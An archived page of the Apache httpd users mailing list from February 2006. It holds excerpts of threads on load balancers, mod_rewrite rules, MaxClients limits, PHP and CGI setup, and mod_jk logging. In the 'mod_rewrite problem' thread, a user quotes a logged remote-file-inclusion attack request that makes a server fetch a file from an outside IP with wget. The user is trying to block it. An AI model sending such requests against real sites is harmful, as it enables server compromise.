RE: [EMAIL PROTECTED] Soft. Load Balancer Recommendations

2006-02-20 Thread Khai Doan
Check out http://www.linuxvirtualserver.org/ Khai From: "James Wuerflein" <[EMAIL PROTECTED]> Reply-To: users@httpd.apache.org To: Subject: [EMAIL PROTECTED] Soft. Load Balancer Recommendations Date: Sun, 19 Feb 2006 17:26:09 -0600 I'm looking for a software load balancer solution where I co

[EMAIL PROTECTED] Warning message on Solaris

2006-02-20 Thread Tejas Sanghavi
Hi,   I am using Apache 2.0.55 on Solaris 8.   When I try to listen on the port which is already in use, I get the message - "Address already in use: make_sock: could not bind to address ..." on the console as well as in error_log on Linux, Windows, HP-UX. But I am not getting this message on

Re: [EMAIL PROTECTED] Soft. Load Balancer Recommendations

2006-02-20 Thread Alexander Lazic
Hi, On Son 19.02.2006 17:26, James Wuerflein wrote: I'm looking for a software load balancer solution where I could do 1 to many backend webservers, and also have the option to maintain some session persistance with jsession? Additionally, would like to be able to do many proxy or load balancer

Re: [EMAIL PROTECTED] Warning message on Solaris

2006-02-20 Thread Ganeshh HariHaran
try  lsof -i| grep -w 80 and find which all apache threads is listening on port 80, filter the one which is in question based on name or IP.take the process id from second column of the matching name or IP in question  and kill it.start your apache once again...Pls take caution if you

Re: [EMAIL PROTECTED] mod_rewrite directives problem

2006-02-20 Thread Robert Ionescu
Shyne wrote: ... RewriteEngine on RewriteCond /help/%(REQUEST_URI) !-d RewriteCond /help/%(REQUEST_URI) !-f RewriteRule ^help/?(.*)$ /help/index.php?id=$1 [L,QSA] - I am not sure if /help/%(REQUEST_URI) points to the right place, but Round parenthesis are wrong, you must use

Re: [EMAIL PROTECTED] mod_rewrite directives problem

2006-02-20 Thread Shyne
Hi Robert Thanks for your answer. I changed the directives according to your input and installed the log. Apparently the directive RewriteCond %{REQUEST_FILENAME} !-f matches requests for existing files, which it should exactly not do. I try to filter out all requests for non existing document

RE: [EMAIL PROTECTED] PHP file not found.

2006-02-20 Thread Joost de Heer
> NameVirtualHost 192.168.1.4:80 > > Argument to NameVirtualHost and must be identical. So either fix your NameVirtualHost, or change your line (I'd suggest the NVH change) Joost - The official User-To-User support forum of

Re: [EMAIL PROTECTED] mod_rewrite directives problem

2006-02-20 Thread Oliver.Schaudt
>Apparently the directive RewriteCond %{REQUEST_FILENAME} !-f matches >requests for existing files, which it should exactly not do. >I try to filter out all requests for non existing documents and folders >and lead them to my script, but leave the existing stuff untouched. !-f says "NOT an exist

Re: [EMAIL PROTECTED] mod_rewrite directives problem

2006-02-20 Thread Shyne
In the meantime I have found out that the problem was, that the directive needed a physical path in order to operate:     RewriteEngine on     RewriteCond /data/www/htdocs/mysite%{REQUEST_FILENAME} !-d     RewriteCond /data/www/htdocs/mysite%{REQUEST_FILENAME} !-f     RewriteRule ^/help?(.*)

Re: [EMAIL PROTECTED] mod_rewrite directives problem

2006-02-20 Thread Robert Ionescu
Shyne wrote: Apparently the directive RewriteCond %{REQUEST_FILENAME} !-f matches requests for existing files, which it should exactly not do. We were able to analyze the RewriteLog in a German mod_rewrite forum. The problem here was the following: %{REQUEST_FILENAME} did contain the value f

[EMAIL PROTECTED] mod_rewrite problem

2006-02-20 Thread Tezyn Drasdin
I have been having some problems with creating a RewriteRule using mod_rewrite.  I keep getting attacks that look like this:GET /cache/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= http://213.97.113.25/cmd.gif?&cmd=cd%20tmp;wget%20213.97.113.25/giculz

Re: [EMAIL PROTECTED] Force/add/append/inject HTML to documents (similar to 'Header append') for no archive

2006-02-20 Thread S.A. Birl
On Feb 19, Nick Kew ([EMAIL PROTECTED]) typed: Nick: On Sunday 19 February 2006 01:50, Eugene wrote: Nick: Nick: But not relevant to the question, unless you have hooks in place Nick: (as in SSI). Nick: Nick: > There's also a 3rd-party module Nick: > called mod_layout that does the trick too.

[EMAIL PROTECTED] Getting mod_rewrite working for virtual hosts

2006-02-20 Thread Boysenberry Payne
After looking through previous threads I thought I had my solution to getting mod_rewrite to work with virtual hosts. Here is the system: Apache/1.3.33 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.3.11 FrontPage/5.0.2.2635 mod_ssl/2.8.22 OpenSSL/0.9.7a Here is wha

RE: [EMAIL PROTECTED] Why the sudden need to raise MaxClients?

2006-02-20 Thread Sage Weaver
I am having this exact same problem. I'm also using standard debian packages for Apache 2.0.54, and the prefork MPM, except my MaxClients setting is already set to 512. The minute I hit 513 apache2 processes (listed in "ps -C apache2", the server stops responding entirely. Those processes seem t

Re: [EMAIL PROTECTED] Getting mod_rewrite working for virtual hosts

2006-02-20 Thread Robert Ionescu
Boysenberry Payne wrote: RewriteEngine on RewriteOptions inherit RewriteRule ^(.*)log[/]?$ http://69.72.241.170:81/pro/admin.pl [P] RewriteRule ^(.*)log/(.*)$ http://69.72.241.170:81/pro/admin.pl?data=$2 [P] Neither of them works so far. What am I missing? And what e

Re: [EMAIL PROTECTED] mod_rewrite problem

2006-02-20 Thread Robert Ionescu
Tezyn Drasdin wrote: RewriteRule ^*.(php|cgi|rb|htm|html)? |(_(REQUEST|SERVER|COOKIE)[*]$ YouGo' n2Jail.html Is this the correct syntax to get my desired result? The QueryString does not match against the pattern of the RewriteRule, you must use a condition in order to check the QueryString l

Re: [EMAIL PROTECTED] Soft. Load Balancer Recommendations

2006-02-20 Thread Nick Kew
On Sunday 19 February 2006 23:26, James Wuerflein wrote: > I'm looking for a software load balancer solution where I could do 1 to > many backend webservers, and also have the option to maintain some > session persistance with jsession? Additionally, would like to be able > to do many proxy or lo

Re: [EMAIL PROTECTED] Force/add/append/inject HTML to documents (similar to 'Header append') for no archive

2006-02-20 Thread httpd2
Thankyou for your comments Nick. I will look into the modules you mentioned below. This may not be relevant, but I note in the php manual, php4 and php5 support the concept of handlers. Is this in any way related to filters Nick? # PHP 4 AddHandler php-script php AddType text/html php # PHP 5

[EMAIL PROTECTED] virtual host cgi config

2006-02-20 Thread azeem ahmad
is this configuration ok to run cgi scripts. - ServerAlias domain.com ServerAdmin [EMAIL PROTECTED] DocumentRoot /home/mine/public_html BytesLog domlogs/mine.com

Re: [EMAIL PROTECTED] virtual host cgi config

2006-02-20 Thread Nick Kew
On Monday 20 February 2006 18:13, azeem ahmad wrote: > is this configuration ok to run cgi scripts. Looks like you may be looking for suexec. Check its doumentation. -- Nick Kew - The official User-To-User support forum of the

Re: [EMAIL PROTECTED] Why the sudden need to raise MaxClients?

2006-02-20 Thread Joshua Slive
On 2/20/06, Sage Weaver <[EMAIL PROTECTED]> wrote: > I am having this exact same problem. I'm also using standard debian > packages for Apache 2.0.54, and the prefork MPM, except my MaxClients > setting is already set to 512. > > The minute I hit 513 apache2 processes (listed in "ps -C apache2", t

[EMAIL PROTECTED] Alias'es for each User

2006-02-20 Thread Vincent Blondel
Hello guys, I get today a 'aliasname' defined in a Virtual Host and this is working fine, like this : Directory Structure /home/website/public_html <--> DocumentRoot <--> http://hostname/ /home/website/aliasname <--> Alias Definition <--> http://hostname/aliasname .. and this is the piece o

Re: [EMAIL PROTECTED] INFLATE filter and content decompression

2006-02-20 Thread Nick Kew
On Monday 20 February 2006 19:30, Shane wrote: > Any assistance greatly appreciated, Isn't that one of the examples on the mod_filter page? -- Nick Kew - The official User-To-User support forum of the Apache HTTP Server Projec

RE: [EMAIL PROTECTED] Why the sudden need to raise MaxClients?

2006-02-20 Thread Sage Weaver
Thanks for the reply -- at least knowing this is abnormal is a step in the right direction. By "standard debian packages," I mean I am using unmodified packages from the stable distribution of debian; no backports, no recompiled packages. The package version is 2.0.54-5, which is the latest versi

Re: [EMAIL PROTECTED] Why the sudden need to raise MaxClients?

2006-02-20 Thread Joshua Slive
On 2/20/06, Sage Weaver <[EMAIL PROTECTED]> wrote: > Thanks for the reply -- at least knowing this is abnormal is a step in > the right direction. > > By "standard debian packages," I mean I am using unmodified packages > from the stable distribution of debian; no backports, no recompiled > package

[EMAIL PROTECTED] Apache 2.0 PHP5.0.4 on Fedora Core 4

2006-02-20 Thread Matthew Williamson
Good evening, I wonder if anyone can help me with a apache2.0 config relating to PHP on Fedora core4. I have Apache reading the php.conf file on start up, but when I point my browser to the file instead of displaying the processed file to the browser I get the php script displayed as if apach

RE: [EMAIL PROTECTED] Apache 2.0 PHP5.0.4 on Fedora Core 4

2006-02-20 Thread Graham Frank
Did you make sure to add AddHandler application/x-httpd-php .php to your httpd.conf? If not, Apache won't read the php. --- Graham Frank -Original Message- From: Matthew Williamson Date: 2/20/06 3:00 pm To: users@httpd.apache.org Subj: [EMAIL PROTECT

Re: [EMAIL PROTECTED] Soft. Load Balancer Recommendations

2006-02-20 Thread James Wuerflein
Be glad to, so I have this setup:    ProxyRequests      off ServerName myURL.mydomain.net    ProxyPass    /balancer-manager  ! ProxyPass    /    balancer://mycluster/  stickysession=JSESSIONID  nofailover=On  ProxyPreserveHost   On   BalancerMember http://10.1.1.100: BalancerMember ht

[EMAIL PROTECTED] huge mod_jk.log

2006-02-20 Thread Chris Pat
Hello I got mod_jk working, hurrah, however I am serving large files and the mod_jk.log file is huge. When it is over about 100MB Apache will not start up. Clear out the file and it starts fine. How do I configure Apache to log as tersely as possible to mod_jk.log? __

[EMAIL PROTECTED] RewriteRule being ignored

2006-02-20 Thread David Hull
I am running apache 2.0.50 on SuSE 9.2. I also run Tomcat 5.0.28 and pass connections to it from Apache. I installed Apache from the SuSE package. My RewriteRule is not working. It appears to be completely ignored. Connections get passed to Tomcat via the Proxy pass w/o being rewritten. I ha

Re: [EMAIL PROTECTED] virtual host cgi config

2006-02-20 Thread Muhammad Rizwan
>>AddHandler cgi-script .cgi .html >>ScriptAlias /cgi-bin/ /home/mine/public_html/cgi-bin/ These lines 'll also required to run script: Options -Indexes +ExecCGI Order Allow,Deny Allow from All In addition, i guess you can run script without